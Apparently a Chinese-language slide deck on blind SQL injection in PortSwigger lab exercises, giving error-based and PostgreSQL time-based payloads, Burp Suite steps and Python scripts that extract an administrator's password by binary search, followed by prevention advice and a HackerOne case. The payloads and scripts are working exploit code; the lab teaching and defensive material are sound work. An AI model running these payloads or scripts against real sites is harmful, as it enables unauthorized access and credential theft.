' AND (SELECT CASE WHEN (LENGTH(password)>1) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+

Lab 0x5 用腳本找長度

import requests


# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"

# 設定猜測範圍
low = 1
high = 50 


# 開始二分法的迴圈
while low < high:
    mid = (low + high) // 2  # 取中間值

    # 這裡的查詢語法是在確認正確密碼的長度是否大於 mid?
    payload = f"{tracking_id}' AND (SELECT CASE WHEN (LENGTH(password)>{mid}) THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"

    # cookies 由 session 與 TrackingId 組成
    cookies = {
        'TrackingId': payload,
        'session': session_id
    }

    # 發送帶有完整 cookie 的請求
    try:
        response = requests.get(url, cookies=cookies)
    except requests.exceptions.RequestException as e:
        print(f"連線錯誤: {e}")
        break

    # 透過回應修改二分法的範圍
    if response.status_code == 200:
        # 網頁可以正常顯示,回應狀態碼為 200
        # 表示正確密碼長度「小於或等於」中間值,所以降低上限
          high = mid
    else:
        # 回應狀態碼不是 200 就表示回應錯誤
        # 表示正確密碼長度「大於」中間值,所以提高下限
        low = mid + 1

# 當 while 迴圈結束時,low 會等於 high,也就是正確的密碼長度
password_lenth = low
print(f"密碼長度為: {password_lenth}")
  • 透過 response.status_code 得知回應狀態碼是什麼

    • 不是 200 就代表回應錯誤,WHEN 條件正確 ; 200 就表示回應正確,WHEN 條件錯誤

Lab 0x5

  • 確認實際密碼內容

  • 使用 SUBSTR() 一個個找每一位密碼是什麼

    • Oracle 的 SUBSTRING() 語法是 SUBSTR()
       

  • 一樣先簡單測試 Payload 沒問題,再用腳本找完整密碼

    • 隨意替換 密碼位數 、 猜測的字元 或者 >, =, <

    • 有出現正確、錯誤兩種不同的回應就表示 Payload 沒問題

' AND (SELECT CASE WHEN (SUBSTR(password,3,1)>'m') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+

Lab 0x5

import requests


# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"

password_length = 20
password = ""


for i in range(1, password_length + 1):
    # lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
    # 以 ASCII 計算二分法
    # 最小是 '0' -> 48,最大是 'z' -> 122
    low = 48
    high = 122 

    # 開始二分法的迴圈
    while low < high:
        mid = (low + high) // 2  # 取中間值
        mid_char = chr(mid)      # 將 ASCII 數字轉回字元

        # 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
        payload = f"{tracking_id}' AND (SELECT CASE WHEN (SUBSTR(password,{i},1)>'{mid_char}') THEN 1/0 ELSE 1 END FROM users WHERE username='administrator')=1--+"
        
        # cookies 由 session 與 TrackingId 組成
        cookies = {
            'TrackingId': payload,
            'session': session_id
        }

        # 發送帶有完整 cookie 的請求
        try:
            response = requests.get(url, cookies=cookies)
        except requests.exceptions.RequestException as e:
            print(f"連線錯誤: {e}")
            break

        # 透過回應修改二分法的範圍
        if response.status_code == 200:
            # 網頁可以正常顯示,回應狀態碼為 200
            # 表示正確密碼的這位字元「小於或等於」中間值,所以降低上限
            high = mid
        else:
            # 只要不是回應 200 就代表回應錯誤
            # 表示正確密碼的這位字元「大於」中間值,所以提高下限
            low = mid + 1

    # 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
    found_char = chr(low)   # 將 ASCII 數字轉回字元
    password += found_char  # 加入最終密碼的字串
    print(f"已找到第 {i} 位密碼為: {found_char}")

# 正確密碼的 20 位都已找到
print(f"\n最終完整密碼為: {password}")

Lab 0x5 End

  • 如果因為網頁回應錯誤而找不到登入的地方

    • 把 TrackingId 的值全部刪掉,或只刪 Payload ,或把 Payload 改成註解

    • 讓頁面不要報錯就能在右上角前往登入頁面

  • 登入 administrator 的帳號,就能成功解開這題 !

觸發時間延遲

  • Time-based

  • 網頁不會有任何回應,不論注入正確與否都是顯示正常的頁面

  • 透過 觸發延遲,從回應時間的長短差別來判斷條件為 True / False
  • Lab 0x6  →  如何注入時間延遲

  • Lab 0x7  →  透過時間延遲找密碼

Lab 0x6

Lab 0x6

  • 使用較單純的 串接,讓 DBMS 順利執行 延遲 
    • 加 分號 ;  堆疊新的查詢
    • 使用條件式 AND / OR  (但構造過程複雜,容易因為型態不匹配而失敗
  • 不同的 DBMS 有不同的 串接 與 延遲 語法
  • 依照速查表
    • 依序測試每個 DBMS 的串接 + 延遲 語法

Lab 0x6

  • 反覆修改、不斷測試注入結果
  • Send to Repeater

Lab 0x6

  • 左側是可以修改的請求 (Request) ; 右側是收到的回覆 (Response)
  • 在 TrackingId 後方加 Payload
    • ctrl + U 做 URL encode,避免錯誤
  • 左上角 Send 送出

Lab 0x6

  • Oracle   →   627 毫秒   →   網頁正常時間回應   →   失敗

Lab 0x6

  • MS SQL   →   648 毫秒   →   網頁正常時間回應   →   失敗

Lab 0x6

  • PostgreSQL   →   20720 毫秒   →   網頁超過 10 秒 (10000 毫秒) 才回應   →   成功 !
     

Lab 0x6

  • MySQL   →   609 毫秒   →   網頁正常時間回應   →   失敗

Lab 0x7

Lab 0x7

  • 一樣確認哪一個 DBMS 的串接 + 延遲會被觸發  →  PostgreSQL

  • 這題要拿密碼  →  需要注入條件式反覆測試密碼為何

  • 速查表有 Conditional time delays 的 Payload

  • 確認 PostgreSQL 的 Payload 會正常運作

    • TrackingId=xxx
      • ; 結束前面的語句,堆疊新的查詢

      • 如果 WHEN 的條件為 True ,觸發延遲 ; 反之正常回應

        • WHEN 後面要放結果為 True 的條件式  →  才能觸發 THEN pg_sleep(10)

    • TrackingId=xxx

      • ​1=2 結果為 False ,觸發 ELSE pg_sleep(0)沒有延遲

'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--+
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--+

Lab 0x7

  • 確認 users 資料表與名為 administrator 的用戶是否存在
    • ​把 username='administrator' 當成 WHEN 的條件式判斷
      • 如果 administrator 不存在,會觸發 ELSE pg_sleep(0),網頁不會有延遲
'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+

Lab 0x7

  • 使用 WHERE 也可以
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--+

Lab 0x7

  • 用 Burp Suite 自動找密碼長度
    • 使用 Intruder
       
  • 已知 username='administrator' 為 True
  • 回應結果會由 LENGTH(password)=1 的結果決定
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+

替換這裡

記得 ctrl+U

進行 URL 編碼

Lab 0x7

  • 看到 Response received 出現 10000 以上的值,就代表找到了,可以提前手動停止

Lab 0x7

  • Burp Sutie 半自動找每一位密碼
     
  • DBMS 使用 PostgreSQL   →   使用 SUBSTRING(),而不是 SUBSTR()
    • ​如果第一位是 a 就延遲10秒 ; 如果第一位是 b 就延遲10秒... 由 Burp Suite 替換 a~z、0~9
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--+

Lab 0x7

  • 可以按一下 Response received 欄位進行排序
  • 看 Payload 可以知道測試的字元是什麼

Lab 0x7

  • Python 腳本自動找密碼  (稍微調小秒數,減少一點等待時間)
  • 因為要用 二分法 , Payload 的 等於 = 要換成 大於 >
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)>'a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+
import requests
import time

# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"

password_length = 20
password = ""
threshold = 4  # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發

for i in range(1, password_length + 1):
    # lab 的提示有說密碼是由數字 (0-9) 與小寫字母 (a-z) 組成
    # 以 ASCII 計算二分法
    # 最小是 '0' -> 48,最大是 'z' -> 122
    low = 48
    high = 122

    # 開始二分法的迴圈
    while low < high:
        mid = (low + high) // 2  # 取中間值
        mid_char = chr(mid)      # 將 ASCII 數字轉回字元

        # 這裡的查詢語法是在確認正確密碼的這位字元是否大於 mid_char?
        # 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
        payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+SUBSTRING(password,{i},1)%3E'{mid_char}')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"
        
        # cookies 由 session 與 TrackingId 組成
        cookies = {
            'TrackingId': payload,
            'session': session_id
        }

        # 計時,用於判斷回應時間
        # 發送請求前後各記錄一次時間,相減就是實際耗時
        start = time.time()
        try:
            # timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
            response = requests.get(url, cookies=cookies, timeout=8)
        except requests.exceptions.RequestException as e:
            print(f"連線錯誤: {e}")
            break
        elapsed = time.time() - start

        # 透過回應時間修改二分法的範圍
        if elapsed > threshold:
            # 回應時間長 = 延遲被觸發 = 條件為真 = 字元確實大於 mid_char
            # 所以下限提高到 mid + 1
            low = mid + 1
        else:
            # 回應時間短 = 條件為假 = 字元小於或等於 mid_char
            # 所以上限降到 mid
            high = mid

    # 當 while 迴圈結束時,low 會等於 high,也就是正確密碼的這位字元的 ASCII
    found_char = chr(low)   # 將 ASCII 數字轉回字元
    password += found_char  # 加入最終密碼的字串
    print(f"已找到第 {i} 位密碼為: {found_char}")

# 正確密碼的所有位都已找到
print(f"\n最終完整密碼為: {password}")

Lab 0x7

  • 腳本成功找到密碼後,登入 administrator 的帳號即可解開這題 !

補充

  • 也可以用 Python 腳本找密碼長度
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--+
import requests
import time

# 這裡 xxx 要替換成當前 Lab 的真實網址與 Cookie 值 (每個人都不一樣,每次跑 lab 都需要修改)
url = "https://xxx.web-security-academy.net/"
tracking_id = "xxx"
session_id = "xxx"

# 假設密碼長度介於 1 到 40 之間,用二分法去縮小範圍
low = 1
high = 40
threshold = 5  # 秒,超過這個秒數就表示 pg_sleep(5) 被觸發

while low < high:
    mid = (low + high) // 2
    # 這裡的查詢語法是在確認密碼長度是否大於 mid?
    # 若大於 -> 觸發 pg_sleep(5) 拖慢 5 秒;若不大於 -> pg_sleep(0) 立刻回應
    payload = f"{tracking_id}'%3b+SELECT+CASE+WHEN+(username%3d'administrator'+AND+LENGTH(password)%3E{mid})+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--%2b"

    cookies = {
        'TrackingId': payload,
        'session': session_id
    }

    # 計時:發送請求前後各記錄一次時間,相減就是實際耗時
    start = time.time()
    try:
        # timeout 設 8 秒,讓程式在 pg_sleep(5) 觸發時,也能等待完整回應
        response = requests.get(url, cookies=cookies, timeout=8)
    except requests.exceptions.RequestException as e:
        print(f"連線錯誤: {e}")
        break
    elapsed = time.time() - start

    print(f"測試密碼長度是否大於 >{mid}? 回應時間: {elapsed:.2f}s")

    # 透過回應時間修改二分法的範圍
    if elapsed > threshold:
        # 回應時間長 = sleep 被觸發 = 條件為真 = 長度確實大於 mid
        # 所以下限提高到 mid + 1
        low = mid + 1
    else:
        # 回應時間短 = 條件為假 = 長度小於或等於 mid
        # 所以上限降到 mid
        high = mid

# 當 while 迴圈結束時,low 會等於 high,也就是實際的密碼長度
print(f"\n密碼長度為: {low}")

預防 SQLi

  • 使用參數化查詢
    • 預處理語句
    • 將 SQL 程式碼的結構與使用者輸入的資料徹底分離
  • 建立白名單機制
    • 規範那些內容是可以被接受
  • 最小權限原則
    • 只賦予連接資料庫的帳號執行任務時所需要的最小權限
  • 不顯示錯誤訊息
    • 針對 Blind SQL injection,可減少透露錯誤的原因,僅顯示「請重新再試一次」,
      避免駭客藉盲測收集情報

資料來源: 101學姊的 SQLi 簡報+ https://www.neway.com.tw/article-detail/SQL-injection/

預防 SQLi

  • 驗證與過濾使用者輸入
    • 長度與格式校驗

      • 限制字串的最大長度、使用正則表達式等機制,確保輸入內容符合預期格式

    • 型別檢查

      • 對於預期為數字的輸入,先驗證它確實是數字型別,或嘗試轉換型別後再使用

    • 特殊字元過濾或轉義

      • 過濾或轉義在 SQL 中具有特殊意義的字元

        • ex. 單引號 ' 、雙引號 " 、分號 ; 、連接符號 -- 等​

      • 轉義 (Escape) : 在特殊字元前加上反斜線等標記,使其失去作為指令的功能而僅被視為普通符號​

案例分享

  • https://hackerone.com/reports/2759243
  • 2024年10月:美國國防部 (DoD) 系統出現「時間型」盲注漏洞

  • 事件經過:

    • 在漏洞回報平台 HackerOne 上,一名白帽駭客通報了美國國防部旗下網站的一個參數(sortBy)存在 Time-based Blind SQLi

  • 造成危害:

    • 駭客在報告中示範,透過注入 WAITFOR DELAY 的時間延遲腳本,他能根據網頁伺服器晚了 5 秒或 10 秒才回應的現象,逐字猜出國防部資料庫的名稱、資料表以及內部紀錄

  • 此報告隨後被美國國防部驗證並緊急修復,避免了可能的機密外洩問題

案例分享

參考資料

感謝前輩們的付出 🛐

回饋表單

Made with Slides.com